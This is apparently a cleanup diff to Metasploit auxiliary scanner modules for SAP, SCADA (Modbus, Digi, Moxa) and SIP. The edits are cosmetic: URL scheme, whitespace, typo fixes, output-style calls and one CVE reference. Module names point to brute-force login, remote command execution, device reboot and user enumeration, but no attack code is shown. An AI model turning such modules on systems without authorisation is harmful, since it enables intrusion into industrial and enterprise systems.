   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb
index e87ef4786a..c16d0359f8 100644
--- a/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb
+++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb
index 240b7be972..96687a8ac5 100644
--- a/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb
+++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -13,7 +12,7 @@ class MetasploitModule < Msf::Auxiliary
     super(
       'Name'         => 'SAP Management Console getStartProfile',
       'Description'  => %q{
-        This module simply attempts to acces the SAP startup profile
+        This module simply attempts to access the SAP startup profile
         through the SAP Management Console SOAP Interface.
         },
       'References'   =>
diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb
index 5af73ccaf9..293065784c 100644
--- a/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb
+++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/sap/sap_router_info_request.rb b/modules/auxiliary/scanner/sap/sap_router_info_request.rb
index 66dc41b307..77d14e5ec3 100644
--- a/modules/auxiliary/scanner/sap/sap_router_info_request.rb
+++ b/modules/auxiliary/scanner/sap/sap_router_info_request.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -21,7 +21,6 @@
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/sap/sap_router_portscanner.rb b/modules/auxiliary/scanner/sap/sap_router_portscanner.rb
index fa8eff6489..a1f83024fc 100644
--- a/modules/auxiliary/scanner/sap/sap_router_portscanner.rb
+++ b/modules/auxiliary/scanner/sap/sap_router_portscanner.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Report
 
@@ -424,5 +423,4 @@ class MetasploitModule < Msf::Auxiliary
     print(tbl.to_s)
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/sap/sap_service_discovery.rb b/modules/auxiliary/scanner/sap/sap_service_discovery.rb
index 123f7a0960..a911c1edb8 100644
--- a/modules/auxiliary/scanner/sap/sap_service_discovery.rb
+++ b/modules/auxiliary/scanner/sap/sap_service_discovery.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/sap/sap_smb_relay.rb b/modules/auxiliary/scanner/sap/sap_smb_relay.rb
index 75a287c007..10bd99ed02 100644
--- a/modules/auxiliary/scanner/sap/sap_smb_relay.rb
+++ b/modules/auxiliary/scanner/sap/sap_smb_relay.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -21,7 +21,6 @@
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -249,5 +248,4 @@ class MetasploitModule < Msf::Auxiliary
         run_clba_update_file_remote
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb b/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb
index c725b96943..e9606e80e2 100644
--- a/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb
+++ b/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,6 @@
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb
index 2adc0a414f..74c30b74de 100644
--- a/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb
+++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,6 @@
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb
index 35d8e34c2c..32242ff99d 100644
--- a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb
+++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,6 @@
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb
index 83a25aff30..1626b4d3aa 100644
--- a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb
+++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,6 @@
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb
index 66214f4566..a057edc139 100644
--- a/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb
+++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb
index f869b0ae53..5015cdacc5 100644
--- a/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb
+++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb
index abe40a02cf..eed50b060c 100644
--- a/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb
+++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,6 @@
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb
index 6b365d839d..e262c6a1d4 100644
--- a/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb
+++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,6 @@
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb
index 0d335ca77a..6c06201ed7 100644
--- a/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb
+++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb
index 0eebb1b708..837e118cc1 100644
--- a/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb
+++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb
index 5d373e408c..68b6d73894 100644
--- a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb
+++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,6 @@
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb
index 32cd168a2a..8529386139 100644
--- a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb
+++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,6 @@
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb
index 5481be56cd..6154a6e2cb 100644
--- a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb
+++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,6 @@
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb b/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb
index 9dc8901c67..94312b12e7 100644
--- a/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb
+++ b/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,6 @@
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb b/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb
index c02305e760..2c702408e9 100644
--- a/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb
+++ b/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,6 @@
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/scada/digi_addp_reboot.rb b/modules/auxiliary/scanner/scada/digi_addp_reboot.rb
index d81f2b6673..24c8f01202 100644
--- a/modules/auxiliary/scanner/scada/digi_addp_reboot.rb
+++ b/modules/auxiliary/scanner/scada/digi_addp_reboot.rb
@@ -1,13 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'rex/proto/addp'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::UDPScanner
 
@@ -69,5 +67,4 @@ class MetasploitModule < Msf::Auxiliary
       print_status("#{shost}:#{sport} Reboot Status: " + Rex::Proto::ADDP.reply_to_string(@results[shost]))
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/scada/digi_addp_version.rb b/modules/auxiliary/scanner/scada/digi_addp_version.rb
index 77f0671d0c..a07fdf1ebb 100644
--- a/modules/auxiliary/scanner/scada/digi_addp_version.rb
+++ b/modules/auxiliary/scanner/scada/digi_addp_version.rb
@@ -1,13 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'rex/proto/addp'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::UDPScanner
 
@@ -48,7 +46,7 @@ class MetasploitModule < Msf::Auxiliary
     res[:banner] = Rex::Proto::ADDP.reply_to_string( res )
 
     unless @results[shost]
-      print_status("#{shost}:#{datastore['RPORT']} ADDP #{res[:banner]}")
+      print_good("#{shost}:#{datastore['RPORT']} ADDP #{res[:banner]}")
       report_service(
         :host  => shost,
         :mac   => res[:mac],
diff --git a/modules/auxiliary/scanner/scada/digi_realport_serialport_scan.rb b/modules/auxiliary/scanner/scada/digi_realport_serialport_scan.rb
index 28da351499..3deb21d9f4 100644
--- a/modules/auxiliary/scanner/scada/digi_realport_serialport_scan.rb
+++ b/modules/auxiliary/scanner/scada/digi_realport_serialport_scan.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::RealPort
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -50,7 +49,7 @@ class MetasploitModule < Msf::Auxiliary
     return unless realport_connect
 
     info = "#{@realport_name} ( ports: #{@realport_port_count} )"
-    vprint_status("#{target_host}:#{rport} is running #{info}")
+    vprint_good("#{target_host}:#{rport} is running #{info}")
     report_service(:host => rhost, :port => rport, :name => "realport", :info => info)
 
     1.upto(@realport_port_count) do |pnum|
@@ -81,5 +80,4 @@ class MetasploitModule < Msf::Auxiliary
 
     realport_disconnect
   end
-
 end
diff --git a/modules/auxiliary/scanner/scada/digi_realport_version.rb b/modules/auxiliary/scanner/scada/digi_realport_version.rb
index e2c9c14373..d6a8b00fcf 100644
--- a/modules/auxiliary/scanner/scada/digi_realport_version.rb
+++ b/modules/auxiliary/scanner/scada/digi_realport_version.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::RealPort
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -29,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary
   def run_host(target_host)
     if realport_connect
       info = "#{@realport_name} ( ports: #{@realport_port_count} )"
-      print_status("#{target_host}:#{rport} #{info}")
+      print_good("#{target_host}:#{rport} #{info}")
       report_service(:host => rhost, :port => rport, :name => "realport", :info => info)
     end
     realport_disconnect
diff --git a/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb b/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb
index e0d57a3f03..a42ceab7d0 100644
--- a/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb
+++ b/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -97,12 +96,11 @@ class MetasploitModule < Msf::Auxiliary
       end
       f = ::File.basename(datastore['RFILE'])
       path = store_loot('indusoft.webstudio.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
-      print_status("#{rhost}:#{rport} - #{datastore['RFILE']} saved in #{path}")
+      print_good("#{rhost}:#{rport} - #{datastore['RFILE']} saved in #{path}")
       return
     end
 
     print_error("#{rhost}:#{rport} - Failed to retrieve file")
   end
-
 end
 
diff --git a/modules/auxiliary/scanner/scada/koyo_login.rb b/modules/auxiliary/scanner/scada/koyo_login.rb
index c9315de1f2..1205ba2694 100644
--- a/modules/auxiliary/scanner/scada/koyo_login.rb
+++ b/modules/auxiliary/scanner/scada/koyo_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@
 # TODO: Make into a real AuthBrute module, although the password pattern is fixed
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Udp
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/scada/modbus_findunitid.rb b/modules/auxiliary/scanner/scada/modbus_findunitid.rb
index 30eefe0845..9643be880c 100644
--- a/modules/auxiliary/scanner/scada/modbus_findunitid.rb
+++ b/modules/auxiliary/scanner/scada/modbus_findunitid.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,10 +13,10 @@ class MetasploitModule < Msf::Auxiliary
       'Description'    => %q{
         Modbus is a cleartext protocol used in common SCADA systems, developed
         originally as a serial-line (RS232) async protocol, and later transformed
-        to IP, which is called ModbusTCP. default tcpport is 502.
+        to IP, which is called ModbusTCP. default tcp port is 502.
 
         This module sends a command (0x04, read input register) to the modbus endpoint.
-        If this command is sent to the correct unit-id, it returns with the same funcion-id.
+        If this command is sent to the correct unit-id, it returns with the same function-id.
         if not, it should be added 0x80, so that it sys 0x84, and an exception-code follows
         which do not interest us. This does not always happen, but at least the first 4
         bytes in the return-packet should be exact the same as what was sent.
@@ -98,7 +98,7 @@ For testing purposes:
   http://www.saia-pcd.com/en/products/plc/pcd-overview/Pages/pcd1-m2.aspx
   and a modbus/tcp PLC simulator from plcsimulator.org
   and the Modbus SLAVE from http://www.modbustools.com/
-  
+
   Mission is to find Unit-ID/stationID of the modbus-endpoint:
   RHOST=IP of the modbus-service (PLC)
   RPORT=Usually 502
diff --git a/modules/auxiliary/scanner/scada/modbusclient.rb b/modules/auxiliary/scanner/scada/modbusclient.rb
index daec836d97..7656934fa5 100644
--- a/modules/auxiliary/scanner/scada/modbusclient.rb
+++ b/modules/auxiliary/scanner/scada/modbusclient.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
 
   def initialize(info = {})
diff --git a/modules/auxiliary/scanner/scada/modbusdetect.rb b/modules/auxiliary/scanner/scada/modbusdetect.rb
index ce5d84f2ff..cb75bcbba5 100644
--- a/modules/auxiliary/scanner/scada/modbusdetect.rb
+++ b/modules/auxiliary/scanner/scada/modbusdetect.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
 
diff --git a/modules/auxiliary/scanner/scada/moxa_discover.rb b/modules/auxiliary/scanner/scada/moxa_discover.rb
index 98d999bd2c..0721b50f0a 100644
--- a/modules/auxiliary/scanner/scada/moxa_discover.rb
+++ b/modules/auxiliary/scanner/scada/moxa_discover.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::UDPScanner
 
@@ -35,6 +34,7 @@ class MetasploitModule < Msf::Auxiliary
         'License'        => MSF_LICENSE,
         'References'     =>
         [
+          [ 'CVE', '2016-9361'],
           [ 'URL', 'https://www.digitalbond.com/blog/2016/10/25/serial-killers/'],
           [ 'URL', 'http://www.moxa.com/support/faq/faq_detail.aspx?id=646' ],
         ]
diff --git a/modules/auxiliary/scanner/scada/profinet_siemens.rb b/modules/auxiliary/scanner/scada/profinet_siemens.rb
index 970b585754..b5d6ee56ec 100644
--- a/modules/auxiliary/scanner/scada/profinet_siemens.rb
+++ b/modules/auxiliary/scanner/scada/profinet_siemens.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb b/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb
index 5b273d7418..a0ed0a0cd1 100644
--- a/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb
+++ b/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -145,5 +144,4 @@ class MetasploitModule < Msf::Auxiliary
     print_status("#{ip}:#{rport} - File saved in: #{path}")
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/sip/enumerator.rb b/modules/auxiliary/scanner/sip/enumerator.rb
index 290db0d7fb..6c2d1a272d 100644
--- a/modules/auxiliary/scanner/sip/enumerator.rb
+++ b/modules/auxiliary/scanner/sip/enumerator.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
 
@@ -130,7 +127,7 @@ class MetasploitModule < Msf::Auxiliary
 
     case resp.to_i
     when 401
-      print_status("Found user: #{testn} [Auth]")
+      print_good("Found user: #{testn} [Auth]")
       # Add Report
       report_note(
         :host	=> rhost,
@@ -141,7 +138,7 @@ class MetasploitModule < Msf::Auxiliary
         :data	=> "Found user: #{testn} [Auth]"
       )
     when 200
-      print_status("Found user: #{testn} [Open]")
+      print_good("Found user: #{testn} [Open]")
       #Add Report
       report_note(
         :host	=> rhost,
diff --git a/modules/auxiliary/scanner/sip/enumerator_tcp.rb b/modules/auxiliary/scanner/sip/enumerator_tcp.rb
index 0552708f4f..35bda0b2f6 100644
--- a/modules/auxiliary/scanner/sip/enumerator_tcp.rb
+++ b/modules/auxiliary/scanner/sip/enumerator_tcp.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -84,7 +83,7 @@ class MetasploitModule < Msf::Auxiliary
 
     case resp
     when /^401/
-      print_status("Found user: #{testn} [Auth]")
+      print_good("Found user: #{testn} [Auth]")
       # Add Report
       report_note(
         :host	=> rhost,
@@ -94,7 +93,7 @@ class MetasploitModule < Msf::Auxiliary
         :data	=> "Found user: #{testn} [Auth]"
       )
     when /^200/
-      print_status("Found user: #{testn} [Open]")
+      print_good("Found user: #{testn} [Open]")
       # Add Report
       report_note(
         :host	=> rhost,
diff --git a/modules/auxiliary/scanner/sip/options.rb b/modules/auxiliary/scanner/sip/options.rb
index 449c8109d6..4b850c5c29 100644
--- a/modules/auxiliary/scanner/sip/options.rb
+++ b/modules/auxiliary/scanner/sip/options.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/sip/options_tcp.rb b/modules/auxiliary/scanner/sip/options_tcp.rb
index 76ba3953af..5a84be1b86 100644
--- a/modules/auxiliary/scanner/sip/options_tcp.rb
+++ b/modules/auxiliary/scanner/sip/options_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
